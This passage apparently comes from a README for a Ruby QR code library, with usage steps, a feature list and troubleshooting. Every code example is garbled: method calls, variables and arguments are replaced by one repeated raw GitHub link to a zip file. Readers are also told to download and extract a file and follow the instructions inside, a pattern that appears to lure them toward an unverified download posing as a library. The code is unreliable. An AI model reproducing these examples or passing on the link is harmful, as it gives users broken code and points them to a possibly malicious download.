2. Extract the contents from the downloaded file if necessary.
3. Follow the instructions provided in the extracted files to install the library.

📖 How to Use QRCode

After installation, using the QRCode library is simple. Here’s how you can generate a QR code in just a few steps:

1. Open your terminal.

2. Start a Ruby script. You can do this by creating a new file with a .rb extension.

3. Require the QRCode library. At the top of your file, include:

   require 'qrcode'

4. Generate a QR code. Here’s a basic example:

   qr = https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip('Your text here')
   puts https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip

   This will display your QR code in text format directly in the terminal.

5. For SVG output, you can do:

   qr_svg = https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip
   https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip('https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip', qr_svg)

   This saves the generated QR code as an SVG file, which you can use on your website or print.

⚙️ Features

• Pure Ruby: No additional software is needed.
• Multiple Output Formats: Generate QR codes as text art or SVG graphics.
• Automatic Optimization: The library automatically chooses the best encoding method.
• Error Correction: Supports all four error correction levels (L, M, Q, H).
• Multi-Segment Encoding: Efficiently handles larger data.

🎨 Example Usage

You might want to create a QR code for a website link or a contact card. Below is an example that showcases how to generate a QR code for a URL:

qr = https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip('https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip')
https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip('https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip', https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip)

This code generates a QR code for "https://raw.githubusercontent.com/JB12345563/qrcode/main/pinguescence/qrcode.zip" and saves it as an SVG file.

If you encounter issues:

• Installation Problems: Ensure Ruby is installed correctly. Check your Ruby version with ruby -v.
